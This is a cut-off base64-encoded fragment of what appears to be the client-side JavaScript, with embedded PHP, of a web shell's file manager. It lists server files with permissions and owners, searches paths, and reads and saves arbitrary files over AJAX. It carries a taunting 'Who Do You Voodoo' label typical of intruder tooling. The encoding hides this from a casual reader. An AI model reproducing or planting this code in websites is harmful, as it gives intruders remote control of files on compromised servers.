b3cgPSBlbG1CeUlkKCd0bXBsRmlsZVJvdycpLmNvbnRlbnQuZmlyc3RDaGlsZDsKIGVsbVB0aCA9IGVsbUJ5SWQoJ2ZybUZNJykucDsKIHN0cmdSc3RyVmFsKCdmbVBhdGgnLCBlbG1QdGgpOwogZWxtUHRoLnBsYWNlaG9sZGVyID0gZWxtUHRoLnZhbHVlOwogZm1CdWZmZXIgPSBzdHJnUnN0ckFycignZm1CdWZmZXInKTsKIGlmIChmbUJ1ZmZlci5sZW5ndGggPiAwKSBlbG1CeUlkKCdidG5CdWZmZXJNZW51JykuZGlzYWJsZWQgPSBmYWxzZTsKfQoKZnVuY3Rpb24gdWlDaGVja0FsbChpZCwgc3RhdGUpIHsKIHZhciBlbG1zID0gZWxtQnlJZCgnZnJtJyArIGlkKVsnZltdJ107CiBpZiAoZWxtcykgewogIGlmIChlbG1zLmxlbmd0aCA+IDApCiAgIGZvciAodmFyIGkgPSBlbG1zLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSBlbG1zW2ldLmNoZWNrZWQgPSBzdGF0ZTsKICBlbHNlIGVsbXMuY2hlY2tlZCA9IHN0YXRlOwogfQp9CgpmdW5jdGlvbiBmbUFqeFNuZChtc2csIGNsYmNrLCBkYXRhLCBmcm0sIGNocnN0KSB7CiBpZiAoIWRhdGEpIGRhdGEgPSB7fTsKIGRhdGEuYSA9ICdmJzsKIGlmICghKCdjJyBpbiBkYXRhKSkgewogIHZhciBjcyA9IGVsbUJ5SWQoJ2ZtQ1NMb2FkJykudmFsdWU7CiAgaWYgKGNzICE9PSAnJykgZGF0YS5jID0gY3M7CiB9CiBhanhTbmQobXNnLCBjbGJjaywgZnJtLCBkYXRhLCBjaHJzdCA/IGNocnN0IDogZWxtQnlJZCgnZm1DU1NlbmQnKS52YWx1ZSk7Cn0KCmZ1bmN0aW9uIHBhcnNlTmFtZShmaWxlKSB7CiB2YXIgbiA9IGZpbGVbMF0sCiAgZSA9ICcnOwogaWYgKGZpbGVbMV0gPT09IG51bGwpIHsKICBuID0gJ1sgJyArIG4gKyAnIF0nOwogIGUgPSAnWyBESVIgXSc7CiB9IGVsc2UgewogIHZhciBwID0gbi5sYXN0SW5kZXhPZignLicpOwogIGlmIChwID4gMCkgewogICBlID0gbi5zbGljZShwICsgMSk7CiAgIC8vbiA9IG4uc2xpY2UoMCwgcCk7CiAgfQogfQogZmlsZVswXSA9IFtmaWxlWzBdLCBuLCBlXTsKfQoKZnVuY3Rpb24gY21wckZpbGVzKGYxLCBmMikgewogdmFyIFtvLCBpXSA9IGZtU29ydDsKIHZhciBjMSA9IChpWzFdID8gZjFbaVsxXV0gOiBmMVswXVtpXSk7CiB2YXIgYzIgPSAoaVsxXSA/IGYyW2lbMV1dIDogZjJbMF1baV0pOwoKIHZhciBmMUYgPSBmMVsxXSAhPT0gbnVsbCwgZjJGID0gZjJbMV0gIT09IG51bGw7CiAKIGlmIChmMUYgJiYgZjJGKSB7CiAgaWYgKGMxICE9PSBjMikgcmV0dXJuIGMxID4gYzIgPyAxKm8gOiAtMSpvOwogfQogZWxzZSBpZiAoZjFGKSByZXR1cm4gMSpvOwogZWxzZSBpZiAoZjJGKSByZXR1cm4gLTEqbzsKIHJldHVybiBmMVswXVsxXSA+IGYyWzBdWzFdID8gMSpvIDogLTEqbzsKfQoKZnVuY3Rpb24gZnJtdFNpemUocykgewogaWYgKHMgPT09IG51bGwpIHJldHVybiAnWyBESVIgXSc7CiBpZiAocyA9PT0gLTEpIHJldHVybiAnPyc7CiBpZiAocyA+IDk5OSkgewogIHMgPSBzLnRvU3RyaW5nKCk7CiAgZm9yICh2YXIgaSA9IHMubGVuZ3RoIC0gMzsgaSA+IDA7IGkgLT0gMykgcyA9IHMuc2xpY2UoMCwgaSkgKyAnXHUyMDA5JyArIHMuc2xpY2UoaSk7CiB9CiByZXR1cm4gczsKfQoKZnVuY3Rpb24gcHJtc1RvU3RyKHApIHsKIHAgfD0gMDsKIGlmIChwID09PSAwKSByZXR1cm4gJz8nOwogdmFyIHYgPSBwICYgMHhGMDAwOwogcmV0dXJuICgodiBpbiBmaWxlVHlwZXMpID8gZmlsZVR5cGVzW3ZdIDogJ3UnKSArICgocCAmIDB4MDEwMCkgPyAncicgOiAnLScpICsgKChwICYgMHgwMDgwKSA/ICd3JyA6ICctJykgKyAoKHAgJiAweDAwNDApID8gKChwICYgMHgwODAwKSA/ICdzJyA6ICd4JykgOiAoKHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSkgKyAoKHAgJiAweDAwMjApID8gJ3InIDogJy0nKSArICgocCAmIDB4MDAxMCkgPyAndycgOiAnLScpICsgKChwICYgMHgwMDA4KSA/ICgocCAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKChwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpICsgKChwICYgMHgwMDA0KSA/ICdyJyA6ICctJykgKyAoKHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKSArICgocCAmIDB4MDAwMSkgPyAoKHAgJiAweDAyMDApID8gJ3QnIDogJ3gnKSA6ICgocCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKfQoKZnVuY3Rpb24gdXBkRmlsZVJvdyhyb3csIGZpbGUsIG9nbikgewogcm93LnN0eWxlLnZpc2liaWxpdHkgPSAnaGlkZGVuJzsKIHJvdy5jZWxsc1szXS5maXJzdENoaWxkLnRleHRDb250ZW50ID0gZnJtdFNpemUoZmlsZVsxXSk7CiByb3cuY2VsbHNbNF0udGV4dENvbnRlbnQgPSB1dHNUb1N0cihmaWxlWzJdKTsKIHZhciBlbG0gPSByb3cuY2VsbHNbNV0uZmlyc3RDaGlsZDsKIGVsbS5jbGFzc05hbWUgPSAnbG5rQWN0IHBybScgKyBmaWxlWzNdOwogPD9waHAgaWYoTklYKXs/PmVsbS50ZXh0Q29udGVudCA9IHBybXNUb1N0cihmaWxlWzRdKTsKIGVsbS50aXRsZSA9IChmaWxlWzRdIHwgMCkudG9TdHJpbmcoOCkuc2xpY2UoLTQpOwogZWxtID0gcm93LmNlbGxzWzZdOwogZWxtLnRleHRDb250ZW50ID0gb2duOwogZWxtLnRpdGxlID0gKGZpbGVbNV0gPT09IC0xID8gJz8nIDogZmlsZVs1XSkgKyAnLycgKyAoZmlsZVs2XSA9PT0gLTEgPyAnPycgOiBmaWxlWzZdKTsKIDw/cGhwIH1lbHNlez8+c3dpdGNoKGZpbGVbM10pIHsKICBjYXNlIDE6IGVsbS50ZXh0Q29udGVudCA9ICdyZWFkJzsKICBicmVhazsKICBjYXNlIDI6IGVsbS50ZXh0Q29udGVudCA9ICd3cml0ZSc7CiAgYnJlYWs7CiAgY2FzZSAzOiBlbG0udGV4dENvbnRlbnQgPSAncmVhZC93cml0ZSc7CiAgYnJlYWs7CiAgZGVmYXVsdDogZWxtLnRleHRDb250ZW50ID0gJ25vbmUnOwogIGJyZWFrOwogfQogPD9waHAgfT8+cm93LnN0eWxlLnZpc2liaWxpdHkgPSAndmlzaWJsZSc7Cn0KCmZ1bmN0aW9uIGZpbGxGaWxlUm93KGNlbGxzLCBicHRoLCBmaWxlLCBvZ24pIHsKIHZhciBmcHRoID0gYnB0aCArIGZpbGVbMF1bMF0sCiAgZWxtID0gY2VsbHNbMV0uZmlyc3RDaGlsZCwKICBsZW4gPSBmaWxlLmxlbmd0aDsKIGlmIChmaWxlWzFdID09PSBudWxsKSBmcHRoICs9IERTOwogY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSA9IGZwdGg7CiBlbG0udGV4dENvbnRlbnQgPSBmaWxlWzBdWzFdOwogaWYgKGxlbiAlIDIgPT09IDApIHsKICBlbG0udGl0bGUgPSBjYW5vblBhdGgoZmlsZVtsZW4gLSAxXSwgYnB0aCk7CiAgZWxtLmNsYXNzTGlzdC5hZGQoJ2xuaycpOwogfQogaWYgKGZtQnVmZmVyLmluZGV4T2YoZnB0aCkgPiAtMSkgZWxtLmNsYXNzTGlzdC5hZGQoJ21ya2QnKTsKIGVsbSA9IGNlbGxzWzJdLmZpcnN0Q2hpbGQ7CiBlbG0udGl0bGUgPSBmaWxlWzBdWzBdOwogZWxtLnRleHRDb250ZW50ID0gZmlsZVswXVsyXTsKIGNlbGxzWzNdLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQgPSBmcm10U2l6ZShmaWxlWzFdKTsKIGNlbGxzWzRdLnRleHRDb250ZW50ID0gdXRzVG9TdHIoZmlsZVsyXSk7CiBlbG0gPSBjZWxsc1s1XS5maXJzdENoaWxkOwogZWxtLmNsYXNzTGlzdC5hZGQoJ3BybScgKyBmaWxlWzNdKTsKIDw/cGhwIGlmKE5JWCl7Pz5lbG0udGV4dENvbnRlbnQgPSBwcm1zVG9TdHIoZmlsZVs0XSk7CiBlbG0udGl0bGUgPSAoZmlsZVs0XSB8IDApLnRvU3RyaW5nKDgpLnNsaWNlKC00KTsKIGVsbSA9IGNlbGxzWzZdOwogZWxtLnRleHRDb250ZW50ID0gb2duOwogZWxtLnRpdGxlID0gKGZpbGVbNV0gPT09IC0xID8gJz8nIDogZmlsZVs1XSkgKyAnLycgKyAoZmlsZVs2XSA9PT0gLTEgPyAnPycgOiBmaWxlWzZdKTsKIDw/cGhwIH1lbHNlez8+c3dpdGNoKGZpbGVbM10pIHsKICBjYXNlIDE6IGVsbS50ZXh0Q29udGVudCA9ICdyZWFkJzsKICBicmVhazsKICBjYXNlIDI6IGVsbS50ZXh0Q29udGVudCA9ICd3cml0ZSc7CiAgYnJlYWs7CiAgY2FzZSAzOiBlbG0udGV4dENvbnRlbnQgPSAncmVhZC93cml0ZSc7CiAgYnJlYWs7CiAgZGVmYXVsdDogZWxtLnRleHRDb250ZW50ID0gJ25vbmUnOwogIGJyZWFrOwogfQogPD9waHAgfT8+Cn0KCmZ1bmN0aW9uIGxpc3RGaWxlcyhkYXRhLCBvd25ycywgZ3JwcykgewogdmFyIGJwdGggPSBkYXRhLnAsCiAgZmlsZXMgPSBkYXRhLmYsCiAgdGJkeSA9IGVsbUJ5SWQoJ3RtcGxGaWxlc1RCb2R5JykuY29udGVudC5maXJzdENoaWxkLmNsb25lTm9kZSh0cnVlKTsKIGZvciAodmFyIHB0aHMgPSBicHRoLnNsaWNlKDAsIC0xKS5zcGxpdChEUyksIGNwdGggPSAnJywgaSA9IDAsIGMgPSBwdGhzLmxlbmd0aDsgaSA8IGM7ICsraSkgewogIGNwdGggKz0gcHRoc1tpXSArIERTOwogIHRiZHkucm93c1swXS5jZWxsc1swXS5hcHBlbmRDaGlsZChuZXdFbG0oJ2EnLCB7CiAgIGhyZWY6ICcjJyArIGNwdGgsCiAgIGNsYXNzTmFtZTogJ3NwblB0aCcsCiAgIHRleHRDb250ZW50OiBwdGhzW2ldICsgRFMsCiAgfSkpOwogIHRiZHkucm93c1swXS5jZWxsc1swXS5jbGFzc0xpc3QuYWRkKCdwcm0nICsgZGF0YS5tKTsKIH0KIHRiZHkucm93c1sxXS5jZWxsc1swXS5maXJzdENoaWxkLnZhbHVlID0gYnB0aCArICcuLic7CiBmaWxlcy5tYXAocGFyc2VOYW1lKTsKIGZpbGVzLnNvcnQoY21wckZpbGVzKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZmlsZXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGZpbGUgPSBmaWxlc1tpXSwKICAgcm93ID0gZWxtVG1wbEZpbGVSb3cuY2xvbmVOb2RlKHRydWUpOwogIGZpbGxGaWxlUm93KHJvdy5jZWxscywgYnB0aCwgZmlsZTw/cGhwIGlmKE5JWCllY2hvIixvd25yc1tmaWxlWzVdXSsnLycrZ3Jwc1tmaWxlWzZdXSI7Pz4pOwogIHRiZHkuYXBwZW5kQ2hpbGQocm93KTsKIH0KIGVsbVRibEZpbGVzLmFwcGVuZENoaWxkKHRiZHkpOwp9CgpmdW5jdGlvbiBsaXN0UGF0aHMoZGF0YSkgewogdmFyIHN0bCA9IGVsbVRibEZpbGVzLnN0eWxlOwogaWYgKHN0bC5kaXNwbGF5ICE9PSAnbm9uZScpIHsKICBzdGwuZGlzcGxheSA9ICdub25lJzsKICBmb3IgKHZhciBpID0gZWxtVGJsRmlsZXMudEJvZGllcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgZWxtVGJsRmlsZXMucmVtb3ZlQ2hpbGQoZWxtVGJsRmlsZXMudEJvZGllc1tpXSk7CiAgZWxtVGJsRmlsZXMudEhlYWQucm93c1swXS5jZWxsc1swXS5maXJzdENoaWxkLmNoZWNrZWQgPSBmYWxzZTsKIH0KIGlmICgncCcgaW4gZGF0YSkgbGlzdEZpbGVzKGRhdGE8P3BocCBpZihOSVgpZWNobycsZGF0YS5vLGRhdGEuZyc7Pz4pOwogZWxzZQogIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5mLmxlbmd0aDsgaSA8IGM7ICsraSkgbGlzdEZpbGVzKGRhdGEuZltpXSA8P3BocCBpZihOSVgpZWNobycsZGF0YS5vLGRhdGEuZyc7Pz4pOwogc3RsLmRpc3BsYXkgPSAndGFibGUnOwp9CgpmdW5jdGlvbiBjYW5vblBhdGgocHRoLCBicHRoKSB7CiBpZiAocHRoID09PSAnJykgcmV0dXJuICcnOwogdmFyIGEgPSBbXSwKICBzID0gRFMsCiAgdiA9IHB0aC5tYXRjaChuZXcgUmVnRXhwKCdeW2EtekEtWjAtOV17Myx9Oi8vJykpOwogaWYgKHYgIT09IG51bGwpIHsKICBzID0gJy8nOwogIHYgPSB2WzBdOwogIHZhciBsZW4gPSB2Lmxlbmd0aDsKICBhLnB1c2gocHRoLnNsaWNlKDAsIHB0aFtsZW5dID09PSBzID8gbGVuIDogdiAtIDEpKTsKICBwdGggPSBwdGguc2xpY2UobGVuKTsKIH0gZWxzZSBpZiAoRFMgPT09ICcvJykgewogIGlmIChwdGhbMF0gPT09IERTKSBhLnB1c2goJycpOwogfSBlbHNlIHsKICBwdGggPSBwdGgucmVwbGFjZSgnLycsIERTKTsKICBpZiAocHRoWzFdID09PSAnOicpIHsKICAgYS5wdXNoKHB0aC5zbGljZSgwLCAyKSk7CiAgIHB0aCA9IHB0aC5zbGljZSgyKTsKICB9IGVsc2UgaWYgKHB0aC5zbGljZSgwLCAyKSA9PT0gRFMgKyBEUykgewogICBhLnB1c2goRFMpOwogICBwdGggPSBwdGguc2xpY2UoMSk7CiAgfSBlbHNlIGlmIChwdGhbMF0gPT09IERTKSBhLnB1c2goJycpOwogfQogaWYgKGEubGVuZ3RoID09PSAwKSByZXR1cm4gY2Fub25QYXRoKGJwdGggKyBwdGgsIGJwdGgpOwogdiA9IHB0aC5zcGxpdChzKTsKIGZvciAodmFyIGkgPSAwLCBsID0gdi5sZW5ndGg7IGkgPCBsOyArK2kpIHN3aXRjaCAodltpXSkgewogIGNhc2UgJyc6CiAgY2FzZSAnLic6CiAgIGJyZWFrOwogIGNhc2UgJy4uJzoKICAgaWYgKGEubGVuZ3RoID4gMSkgYS5wb3AoKTsKICAgYnJlYWs7CiAgZGVmYXVsdDoKICAgYS5wdXNoKHZbaV0pOwogICBicmVhazsKIH0KIHJldHVybiBhLmxlbmd0aCA9PT0gMSA/IGFbMF0gKyBzIDogYS5qb2luKHMpOwp9CgpmdW5jdGlvbiBvblNyY2hGaWxlcyhkaXYsIGRhdGEpIHsKIGlmICgnZScgaW4gZGF0YSkgcmV0dXJuIHVpQ2huZ01zZyhkaXYsIGRhdGEuZSwgJ0VycicpOwogaWYgKGRhdGEuZi5sZW5ndGggPT09IDApIHJldHVybiB1aUNobmdNc2coZGl2LCAnTm90aGluZyBmb3VuZCcsICdJbmYnKTsKIGxpc3RQYXRocyhkYXRhKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIHNyY2hGaWxlcyhlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybVNyY2gnKSwKICBkYXRhID0gewogICBzOiBbXQogIH0sCiAgcHRocyA9IGZybS5lbGVtZW50c1swXS52YWx1ZS5zcGxpdChEUyA9PT0gJy8nID8gJzonIDogJzsnKTsKIGZvciAodmFyIGkgPSBwdGhzLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgdmFyIHB0aCA9IGNhbm9uUGF0aChwdGhzW2ldLCBlbG1QdGgucGxhY2Vob2xkZXIpOwogIGlmIChwdGggIT09ICcnKSBkYXRhLnMucHVzaChwdGgpOwogfQogZGF0YS5zLnNvcnQoKTsKIGZtQWp4U25kKCdTZWFyY2ggZmlsZXMnLCBvblNyY2hGaWxlcywgZGF0YSwgZnJtKTsKIHVpQ2xzTW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gdWlTcmNoRlR5cGVDaG5nZCgpIHsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1TcmNoJyksCiAgaXNEaXIgPSBmcm0ueS52YWx1ZSA9PSAxOwogZm9yICh2YXIgaSA9IDAsIGEgPSBbPD9waHAgaWYoTklYKWVjaG8iJ3UnLCI7Pz4gJ3onLCAndCcsICd4JywgJ3YnXTsgaSA8IDU7ICsraSkgZnJtW2FbaV1dLmRpc2FibGVkID0gaXNEaXI7Cn0KCmZ1bmN0aW9uIHVpU2h3RnJtU3JjaCgpIHsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1TcmNoJyksCiAgZWxtID0gZnJtLmVsZW1lbnRzWzBdOwogaWYgKGVsbS52YWx1ZSA9PT0gJycpIGVsbS52YWx1ZSA9IGVsbVB0aC5wbGFjZWhvbGRlcjsKIHVpU2h3TW9kYWwoZnJtKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdXBkRnJtRmlsZShmcm0sIGZpbGUsIGNudG50LCBjaHJzdCkgewogaWYgKGZpbGVbMV0gIT09IG51bGwpIHsKICB2YXIgZWxtID0gZnJtLmZpcnN0Q2hpbGQuZmlyc3RDaGlsZDsKICBzd2l0Y2ggKGZpbGVbMV0pIHsKICAgY2FzZSAzOgogICAgZWxtLnRleHRDb250ZW50ID0gJ0Z1bGwgQWNjZXNzJzsKICAgIGJyZWFrOwogICBjYXNlIDI6CiAgICBlbG0udGV4dENvbnRlbnQgPSAnV3JpdGFibGUnOwogICAgYnJlYWs7CiAgIGNhc2UgMToKICAgIGVsbS50ZXh0Q29udGVudCA9ICdSZWFkIE9ubHknOwogICAgYnJlYWs7CiAgIGNhc2UgMDoKICAgIGVsbS50ZXh0Q29udGVudCA9ICdXaG8gRG8gWW91IFZvb2RvbywgQml0Y2g/JzsKICAgIGJyZWFrOwogIH0KICBlbG0uY2xhc3NOYW1lID0gJ3NwblRpdGxlIHBybScgKyBmaWxlWzFdOwogfQogZnJtLmVsZW1lbnRzWzBdLnZhbHVlID0gY250bnQ7CiB2YXIgZWxtID0gZnJtLmVsZW1lbnRzWzFdOwogZWxtLnZhbHVlID0gZmlsZVswXTsKIGVsbS5wbGFjZWhvbGRlciA9IGZpbGVbMF07CiBjaHJzdCA9IGNocnN0LnRvTG93ZXJDYXNlKCk7CiBmb3IgKHZhciBpID0gZnJtLmMub3B0aW9ucy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkKICBpZiAoZnJtLmMub3B0aW9uc1tpXS5sYWJlbC50b0xvd2VyQ2FzZSgpID09PSBjaHJzdCkgewogICBmcm0uYy5zZWxlY3RlZEluZGV4ID0gaTsKICAgYnJlYWs7CiAgfQp9CgpmdW5jdGlvbiB0YmR5QnlQYXRoKHB0aCkgewogZm9yICh2YXIgaSA9IDAsIGMgPSBlbG1UYmxGaWxlcy50Qm9kaWVzLmxlbmd0aDsgaSA8IGM7ICsraSkKICBpZiAoZWxtVGJsRmlsZXMudEJvZGllc1tpXS5yb3dzWzBdLmNlbGxzWzBdLnRleHRDb250ZW50ID09PSBwdGgpIHJldHVybiBlbG1UYmxGaWxlcy50Qm9kaWVzW2ldOwogcmV0dXJuIG51bGw7Cn0KCmZ1bmN0aW9uIGlzSW5zUG9zKGZpbGUsIGNlbGxzKSB7CiB2YXIgZkYgPSBmaWxlWzFdICE9PSBudWxsLAogIHJGID0gY2VsbHNbM10uZmlyc3RDaGlsZC50ZXh0Q29udGVudCAhPT0gJ1sgRElSIF0nOwogaWYgKGZGICYmIHJGKSB7CiAgdmFyIGJ5ID0gKGZtU29ydFswXSA8IDMgPyBmbVNvcnRbMF0gOiAxKTsKICB2YXIgZkV4dCA9IGZpbGVbMF1bYnldLAogICByRXh0ID0gY2VsbHNbYnldLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQ7CiAgaWYgKGZFeHQgIT09IHJFeHQpIHJldHVybiByRXh0ID4gZkV4dDsKIH0gZWxzZSBpZiAoZkYpIHJldHVybiBmYWxzZTsKIGVsc2UgaWYgKHJGKSByZXR1cm4gdHJ1ZTsKIHJldHVybiBjZWxsc1sxXS5maXJzdENoaWxkLnRleHRDb250ZW50ID4gZmlsZVswXVsxXTsKfQoKZnVuY3Rpb24gdXBkVGJsRmlsZXMoZGF0YSwgb3ducnMsIGdycHMpIHsKIHZhciB0YmR5Q250ID0gZWxtVGJsRmlsZXMudEJvZGllcy5sZW5ndGgsCiAgYnB0aCA9IGRhdGEucCwKICBmaWxlcyA9IGRhdGEuZjsKIGlmICh0YmR5Q250ID09PSAwKSByZXR1cm47CiBmaWxlcy5tYXAocGFyc2VOYW1lKTsKIGZpbGVzLnNvcnQoY21wckZpbGVzKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZmlsZXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIGZpbGUgPSBmaWxlc1tpXSwKICAgZnB0aCA9IGJwdGggKyBmaWxlWzBdWzBdLAogICBscHRoID0gZmlsZS5sZW5ndGggJSAyID09IDAgPyBjYW5vblBhdGgoZmlsZS5zbGljZSgtMSlbMF0sIGJwdGgpIDogbnVsbCwKICAgb2duID0gPD9waHAgZWNobyBOSVg/Im93bnJzW2ZpbGVbNV1dKycvJytncnBzW2ZpbGVbNl1dIjoiJyciOz8+LAogICBpc05vdFVwZHRkID0gdHJ1ZTsKICBpZiAoZmlsZVsxXSA9PT0gbnVsbCkgZnB0aCArPSBEUzsKICBmb3IgKHZhciB0ID0gMDsgdCA8IHRiZHlDbnQ7ICsrdCkgewogICB2YXIgdGJkeSA9IGVsbVRibEZpbGVzLnRCb2RpZXNbdF0sCiAgICByb3dzID0gdGJkeS5yb3dzLAogICAgaXNFcWxCc1B0aCA9IHJvd3NbMF0uY2VsbHNbMF0udGV4dENvbnRlbnQgPT09IGJwdGg7CiAgIGZvciAodmFyIHIgPSAyLCBuID0gcm93cy5sZW5ndGg7IHIgPCBuOyArK3IpIHsKICAgIHZhciByb3cgPSByb3dzW3JdLAogICAgIGNlbGxzID0gcm93LmNlbGxzLAogICAgIGNmcHRoID0gY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSwKICAgICBjbHB0aCA9IGNlbGxzWzFdLmZpcnN0Q2hpbGQudGl0bGU7CiAgICBpZiAoaXNOb3RVcGR0ZCAmJiBpc0VxbEJzUHRoKSB7CiAgICAgaWYgKGNmcHRoID09PSBmcHRoKSB7CiAgICAgIHVwZEZpbGVSb3cocm93LCBmaWxlLCBvZ24pOwogICAgICBpc05vdFVwZHRkID0gZmFsc2U7CiAgICAgfSBlbHNlIGlmIChpc0luc1BvcyhmaWxlLCBjZWxscykpIHsKICAgICAgdmFyIHRtcGwgPSBlbG1UbXBsRmlsZVJvdy5jbG9uZU5vZGUodHJ1ZSk7CiAgICAgIGZpbGxGaWxlUm93KHRtcGwuY2VsbHMsIGJwdGgsIGZpbGUsIG9nbik7CiAgICAgIHRiZHkuaW5zZXJ0QmVmb3JlKHRtcGwsIHJvdyk7CiAgICAgIGlzTm90VXBkdGQgPSBmYWxzZTsKICAgICAgKytuOwogICAgIH0KICAgIH0KICAgIGlmIChjbHB0aCA9PT0gZnB0aCB8fCBjZnB0aCA9PT0gbHB0aCB8fCBscHRoID09PSBjbHB0aCkgdXBkRmlsZVJvdyhyb3csIGZpbGUsIG9nbik7CiAgIH0KICAgaWYgKGlzTm90VXBkdGQgJiYgaXNFcWxCc1B0aCkgewogICAgdmFyIHRtcGwgPSBlbG1UbXBsRmlsZVJvdy5jbG9uZU5vZGUodHJ1ZSk7CiAgICBmaWxsRmlsZVJvdyh0bXBsLmNlbGxzLCBicHRoLCBmaWxlLCBvZ24pOwogICAgdGJkeS5hcHBlbmRDaGlsZCh0bXBsKTsKICAgfQogIH0KIH0KfQoKZnVuY3Rpb24gdXBkVGJsRmlsZShmKSB7CiB2YXIgcG9zID0gZlswXS5zbGljZSgwLCAtMSkubGFzdEluZGV4T2YoRFMpICsgMSwKICBicHRoID0gZlswXS5zbGljZSgwLCBwb3MpLAogIG9zID0ge30sCiAgZ3MgPSB7fTsKIGZbMF0gPSBmWzBdLnNsaWNlKHBvcyk7CiA8P3BocCBpZihOSVgpez8+b3NbZls1XV0gPSBmWzddOwogZ3NbZls2XV0gPSBmWzhdOwogZi5zcGxpY2UoNywgMik7CiA8P3BocCB9Pz51cGRUYmxGaWxlcyh7CiAgcDogYnB0aCwKICBmOiBbZl0KIH0sIG9zLCBncyk7Cn0KCmZ1bmN0aW9uIG9uU2F2ZUZpbGUoZGl2LCBkYXRhLCBjaHJzdCkgewogaWYgKHR5cGVvZiBkYXRhICE9PSAnc3RyaW5nJykgcmV0dXJuIHVpQ2huZ01zZyhkaXYsICJDYW4ndCBzIiArIGRpdi5jaGlsZE5vZGVzWzFdLm5vZGVWYWx1ZS5zbGljZSgxLCAtMSkgKyBkYXRhLmUsICdFcnInKTsKIHZhciBwb3MgPSBkYXRhLmxhc3RJbmRleE9mKCdceDAzXHgxRScpLAogIGZpbGU7CiBzd2l0Y2ggKGRhdGFbcG9zICsgMl0pIHsKICBjYXNlICdceDA2JzoKICAgZmlsZSA9IEpTT04ucGFyc2UoZGF0YS5zbGljZShwb3MgKyAzKSk7CiAgIHVwZEZybUZpbGUodGhpcywgW2ZpbGVbMF0sIGZpbGVbM11dLCBkYXRhLnNsaWNlKDAsIHBvcyksIGNocnN0KTsKICAgdWlEZWxNc2coZGl2KTsKICAgYnJlYWs7CiAgY2FzZSAnXHgxNSc6CiAgIGZpbGUgPSBKU09OLnBhcnNlKGRhdGEuc2xpY2UocG9zICsgMykpOwogICB1aUNobmdNc2coZGl2LCAnRmlsZSAnICsgZmlsZVswXSArICIgc3VjY2Vzc2Z1bCBzYXZlZCBidXQgY2FuJ3QgcmVhZCBub3ciLCAnSW5mJyk7CiAgIGJyZWFrOwogIGRlZmF1bHQ6CiAgIHVpTmV0RXJyTXNnKGRpdik7CiAgIHJldHVybiBmYWxzZTsKICAgYnJlYWs7CiB9CiB1cGRUYmxGaWxlKGZpbGUpOwp9CgpmdW5jdGlvbiBzYXZlRmlsZShlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGUudGFyZ2V0LAogIHB0aCA9IGNhbm9uUGF0aChmcm0uZWxlbWVudHNbMV0udmFsdWUsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiBmbUFqeFNuZCgnU2F2ZSBmaWxlIGFzICcgKyBwdGgsIG9uU2F2ZUZpbGUsIHsKICB3OiBwdGgKIH0sIGZybSwgZnJtLmMudGV4dFZhbHVlKTsKfQoKZnVuY3Rpb24gb25SbGRGaWxlKGRpdiwgZGF0YSwgY2hyc3QpIHsKIGlmICh0eXBlb2YgZGF0YSAhPT0gJ3N0cmluZycpIHJldHVybiB1aUNobmdNc2coZGl2LCAiQ2FuJ3QgcmVhZCBmaWxlICIgKyBkaXYuY2hpbGROb2Rlc1sxXS5ub2RlVmFsdWUuc2xpY2UoNSwgLTIpICsgZGF0YS5lLCAnRXJyJyk7CiB2YXIgcG9zID0gZGF0YS5sYXN0SW5kZXhPZignXHgwM1x4MUUnKSwKICBmaWxlOwogc3dpdGNoIChkYXRhW3BvcyArIDJdKSB7CiAgY2FzZSAnXHgwNic6CiAgIGZpbGUgPSBKU09OLnBhcnNlKGRhdGEuc2xpY2UocG9zICsgMykpOwogICB1cGRGcm1GaWxlKHRoaXMsIGZpbGUsIGRhdGEuc2xpY2UoMCwgcG9zKSwgY2hyc3QpOwogICB1aURlbE1zZyhkaXYpOwogICBicmVhazsKICBjYXNlICdceDE1JzoKICAgZmlsZSA9IEpTT04ucGFyc2UoZGF0YS5zbGljZShwb3MgKyAzKSk7CiAgIHVpQ2huZ01zZyhkaXYsICJDYW4ndCByZWFkIGZpbGUgIiArIGZpbGVbMF0sICdJbmYnKTsKICAgYnJlYWs7CiAgZGVmYXVsdDoKICAgdWlOZXRFcnJNc2coZGl2KTsKICAgcmV0dXJuIGZhbHNlOwogICBicmVhazsKIH0KfQoKZnVuY3Rpb24gcmxkRmlsZShlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGUudGFyZ2V0LnBhcmVudE5vZGUucGFyZW50Tm9kZSwKICBwdGggPSBmcm0uZWxlbWVudHNbMV0ucGxhY2Vob2xkZXI7CiBmcm0udC52YWx1ZSA9ICcnOwogaWYgKGZybS5maXJzdENoaWxkLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQgIT09ICdOZXcgRmlsZScpIGZtQWp4U25kKCdSZWxvYWQgZmlsZSAnICsgcHRoLCBvblJsZEZpbGUsIHsKICBnOiBwdGgKIH0sIGZybSk7Cn0KCmZ1bmN0aW9uIHJsZEZpbGVBcyhlKSB7CiBpZiAoZS50YXJnZXQucGF